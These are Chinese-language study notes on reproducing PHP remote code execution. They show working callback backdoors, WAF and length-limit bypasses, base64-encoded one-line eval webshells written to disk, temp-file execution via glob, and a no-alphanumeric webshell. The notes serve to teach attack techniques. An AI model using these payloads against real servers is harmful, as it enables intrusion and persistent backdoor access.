RCE漏洞复现
PHP命令执行常用函数
回调函数必须是命令执行和代码执行的函数,有两个条件
必须是函数,而且需要有函数运行的参数
危害:可以直接删除文件,添加文件,甚至可以添加用户
system --执行外部程序,并且显示输出
exec --执行一个外部程序 输出的是数组 要echo
passthru-- 执行外部程序并且显示原始输出 类似system 直接输出
shell_exec-- 要有echo输出才行
proc_open --打开进程文件指针
popen --- 从管道执行命令
代码执行,只能执行php代码不能执行命令
eval
assert
call_user_func
call_user_func_arrayassert(eval($_post[123]));
call_user_func('assert',$_REQUEST['pass']); //加了eval 蚁剑可以连接
rce的基础 php的回调后门
array_fillter 回调函数
$e = $_REQUEST['e'];
$arr array($_POST['pass'],);
array_filter($arr, base64_decode($e));
绕过安全狗
get_meta_tags 引入参数
eval();传入的参数需要引号
EVAL长度限制突破技巧
linux下反引号是可以执行命令的
<?php
$param = $_REQUEST['param']; //全局数组,接收GET,POST,COOKIE数据
If (
strlen($param) < 17 &&
stripos($param, 'eval') === false && // 检查$param 是否含‘eval’ 不含就返回falase 和后面的false相等 就是true
stripos($param, 'assert') === false //同上
) {
eval($param); //当上面的都为真时,才执行 。
}
//虽然代码检查了 eval 和 assert 字符串,依然有可能存在其他恶意代码或利用漏洞的方式
所以可以用
`$_GET[1]` 去用命令执行 去绕过 反引号在Linux下是可以执行命令的`$_GET[1]`;&1=任何的恶意代码
最后需要用 echo 打印出来 因为eval执行不显示页面
也可用
foo.php?1=file_put_contents¶m=$_GET[1](N,P,8); //底层c语言写的8
foo.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N
为什么这里要转成base64呢,不直接追加呢,因为file_put_contents 是追加不了特殊字符的< ?
然后用php伪协议 把这base64转成正常的一句话了,然后用文件包含直接执行了
include 视为一切文件为php执行文件
解码出来为<?php eval($POST[9])
也可以用
usort(...$_GET);
foo.php?1[]=test&1[]=phpinfo();&2=assert
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
...在php中表示为变长参数,js也是
抓包burpsuite
所有回调函数都是把接受到的参数,放在回调函数去执行
8个字符长短,更符合Linux下的环境
Linux命令长度限制突破方法
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{ echo shell_exec($param); //可以直接执行Linux命令
}
$ ls -t
ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\
bas\ e64\ -\ d>\ c.p\ hp
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
ls -t>0 以时间先后顺序创建文件 0里面的内容就是base64编码 然后
sh 0
把一句话木马base64之后的编码一点点写成文件形式,以时间的形式排序,最后执行这一串编码
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
ls -t | xxd 以十六进制查看文件
php一句话木马中,一定是要以base64编码写入的
还有种思路:就是在post中生成临时文件,匹配到临时文件,然后执行临时文件的代码
. /t*/* //因为shell_exec本身就能执行Linux的命令,所以在param传参的时候不用加反引号执行了
无字母数字webshell之命令执行
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");//取反绕过正则}eval($code);
}else{highlight_file(__FILE__);
}
取反用符号~
但是这种语法只能php7
文件上传就往web.php上面去传,不管它接不接,我只要这个临时文件
难点:如果没有接,php就会把临时文件删掉。但是不知道临时文件名
先定义一个文件上传,然后上传文件,然后去/tmp下看有没有生成临时文件,然后执行文件
里面的upload 需要改一下
前提要能执行临时文件,但是匹配不到临时文件,需要解决这个问题
GET和post同步执行。临时文件有一个特别的点,就是php临时文件生成是有规律的,最后一个字母,一次是大写一次是小写。
Linux通配符 glob 通配符
可以用'?' '*' '[' '[]'
eval 首先要先闭合?>php 后面才可以写 。用@匹配最后一个字母大写
eval 只是代码执行,但并不能执行Linux代码,所以少了一个Linux执行命令的东西,那就是反引号,那加上反引号就行了吗?很明显不行,要遵循urlcode编码,不能有空格 需要把空格改成加号 把空格换成%20 也可以
其实在burpsuite下面不用编码也可以 直接传,但是从url传的话就必须转码
这三部分 需要 粘贴到抓的web.php的包中 因为这是post传参
无参数读文件和RCE总结
这个就需要函数嵌套函数去执行,时间函数去拿.
也可以用array_rand 和array_flip 拿文件
用next(getallheaders())绕过这个限制 ,但是这个函数只能apache2里面使用
相关文章:

RCE漏洞复现
PHP命令执行常用函数 回调函数必须是命令执行和代码执行的函数,有两个条件 必须是函数,而且需要有函数运行的参数 危害:可以直接删除文件,添加文件,甚至可以添加用户 system --执行外部程序,并且显示输…...

Qt QTabWidget之创建标签页的多页面切换
QTabWidget 用来分页显示 重要函数: 1.void setTabText(int, QString); //设置页面的名字. 2.void setTabToolTip(QString); //设置页面的提示信息. 3.void setTabEnabled(bool); //设置页面是否被激活. 4.void setTabPosition(QTabPosition::South); //设置页面名字的位置. 5.…...

【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出
【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出 文章目录 【RISC-V设计-14】- RISC-V处理器设计K0A之打印输出1.简介2.验证用例3.软件代码4.链接脚本5.编译脚本6.仿真结果6.1 复位结束6.2 运行成功6.3 终端打印 7.总结 1.简介 本文将详细阐述如何利用 printf 来打印字符串…...

时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention
时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention 文章目录 前言时序预测|基于变分模态分解-时域卷积-双向长短期记忆-注意力机制多变量时间序列预测VMD-TCN-BiLSTM-Attention 一、VMD-TCN-BiLSTM-Attention模型1. **…...
Python知识点:如何使用Godot与Python进行游戏脚本编写
在Godot中使用Python进行游戏脚本编写,你需要通过一个插件来实现,因为Godot原生支持的脚本语言是GDScript、VisualScript和C#。这个插件被称为Godot-Python,它允许你在Godot引擎中使用Python编写脚本。以下是详细的步骤指导你如何配置和使用G…...

Spring MVC数据绑定和响应学习笔记
学习视频:12001 数据绑定_哔哩哔哩_bilibili 目录 1.数据绑定 简单数据绑定 默认类型数据绑定 简单数据类型绑定的概念 参数别名的设置 PathVariable注解的两个常用属性 POJO绑定 自定义类型转换器 xml方式 注解方式 数组绑定 集合绑定 复杂POJO绑定 属性为对象类…...

Vulnhub JIS-CTF靶机详解
项目地址 https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 修改靶机的网卡 开机时长按shift,进入此页面 选择root模式进入 将只读模式改为读写模式 mount -o remount,rw / 查看本机的网卡名称 …...

FPGA资源评估
FPGA资源评估 文章目录 FPGA资源评估前言一、资源评估1.1 资源有哪些1.2 资源统计 二、 FPGA 的基本结构三、 更为复杂的 FPGA 架构 前言 一、资源评估 大家在项目中一般会要遇到需要资源评估的情况,例如立了新项目,前期需要确定使用什么FPGA片子&…...
REST framework中Views API学习
REST framework提供了一个APIView类,它是Django的View类的子类。 APIView类和一般的View类有以下不同: 被传入到处理方法的请求不会是Django的HttpRequest类的实例,而是REST framework的Request类的实例。处理方法可以返回REST framework的…...
Vue(四)——总结
渐进式JavaScript框架 Vue.js是一套构建用户界面(UI)的渐进式JavaScript框架。 1、库和框架的区别? 库:库是提供给开发者的一个封装好的特定于某一方面的集合(方法和函数),库没有控制权&…...

计算机毕业设计 招生宣传管理系统 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试
🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点…...

练习题PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
突破长度限制 使用usort上传后门 usort — 使用用户自定义的比较函数对数组中的值进行排序 paramusort(...$GET); ...为php设置可变长参数 在url地址栏中输入[]test&1[]phpinfo();&2assert 包含了phpiinfo()命令执行 结合usort使用 assert…...

EPLAN关于PLC的输入输出模块绘制
EPLAN关于PLC的输入输出模块绘制 总览图上的PLC绘制原理图上的PLC绘制编辑IO注释显示总览界面IO注释自动关联总览IO地址 总览图上的PLC绘制 右键项目【新建】 页类型选择【总览】,描述可以自由编辑,之后确认即可。 由于我们需要绘制PLC的输入输出&#x…...

【Linux】sersync 实时同步
原理 rsync 是不支持实时同步的,通常我们借助于 inotify 这个软件来实时监控文件变化,一旦inotify 监控到文件变化,则立即调用 rsync 进行同步,推送到 rsync 服务端。 环境准备 步骤1:获取数据包 获取 sersync 的包…...

Unity 资源分享 之 恐龙Ceratosaurus资源模型携 82 个动画来袭
Unity 资源分享 之 恐龙Ceratosaurus资源模型携 82 个动画来袭 一、前言二,资源包内容三、免费获取资源包 一、前言 亲爱的 Unity 开发者和爱好者们,大家好!今天要为大家分享一份超级酷炫的 Unity 资源——恐龙资源模型,而且它还…...

【AI绘画】 学习内容简介
AI绘画-学习内容简介 1. 效果展示 本次测试主要结果展示如下: 卡通手办定制1 卡通手办定制2 艺术写真定制 2. 主要目录 AI 绘画- 文生图,图生图及lora使用(基于diffusers) AI 绘画- 模型转换与快速生图(基于diffus…...

树形结构查找(B树、B+树)
平衡树结构的树高为 O(logn) ,平衡树结构包括两种平衡二叉树结构(分别为 AVL 树和 RBT)以及一种树结构(B-Tree,又称 B 树,它的度大于 2 )。AVL 树和 RBT 适合内部存储的应用,而 B 树…...

网络通信(TCP/UDP协议 三次握手四次挥手 )
三、TCP协议与UDP协议 1、TCP/IP、TCP、 UDP是什么 TCP/IP协议是一个协议簇,里面包括很多协议的, UDP只是其中的一个, 之所以命名为TCP/IP协议, 因为TCP、 IP协议是两个很重要的协议,就用他两命名了,而TCP…...
C# ADO.Net 通用按月建表插入数据
原理是获取原表表结构以及索引动态拼接建表SQL,如果月表存在则不创建,不存在则创建表结构 代码如下 /// <summary>/// 根据指定的表名和时间按月进行建表插入(如果不存在对应的月表)/// </summary>/// <param nam…...

19-ESP32-C3加大固件储存区
1默认编译情况。 2、改flash4M。ESP-IDF Partition Table Editor修改。 3、设置输入Partition Table 改自定义.CSV。保存。 4、查看命令输入Partition Table Editor打开-分区表编辑器UI。按图片增加。 nvs,data,nvs,0x9000,0x6000,, phy_init,data,phy,0xF000,0x1000,, factory…...

网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...

.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢
随着互联网技术的飞速发展,消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁,不仅优化了客户体验,还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用,并…...

如何将联系人从 iPhone 转移到 Android
从 iPhone 换到 Android 手机时,你可能需要保留重要的数据,例如通讯录。好在,将通讯录从 iPhone 转移到 Android 手机非常简单,你可以从本文中学习 6 种可靠的方法,确保随时保持连接,不错过任何信息。 第 1…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
Caliper 配置文件解析:fisco-bcos.json
config.yaml 文件 config.yaml 是 Caliper 的主配置文件,通常包含以下内容: test:name: fisco-bcos-test # 测试名称description: Performance test of FISCO-BCOS # 测试描述workers:type: local # 工作进程类型number: 5 # 工作进程数量monitor:type: - docker- pro…...
嵌入式常见 CPU 架构
架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...
tomcat指定使用的jdk版本
说明 有时候需要对tomcat配置指定的jdk版本号,此时,我们可以通过以下方式进行配置 设置方式 找到tomcat的bin目录中的setclasspath.bat。如果是linux系统则是setclasspath.sh set JAVA_HOMEC:\Program Files\Java\jdk8 set JRE_HOMEC:\Program Files…...

实战三:开发网页端界面完成黑白视频转为彩色视频
一、需求描述 设计一个简单的视频上色应用,用户可以通过网页界面上传黑白视频,系统会自动将其转换为彩色视频。整个过程对用户来说非常简单直观,不需要了解技术细节。 效果图 二、实现思路 总体思路: 用户通过Gradio界面上…...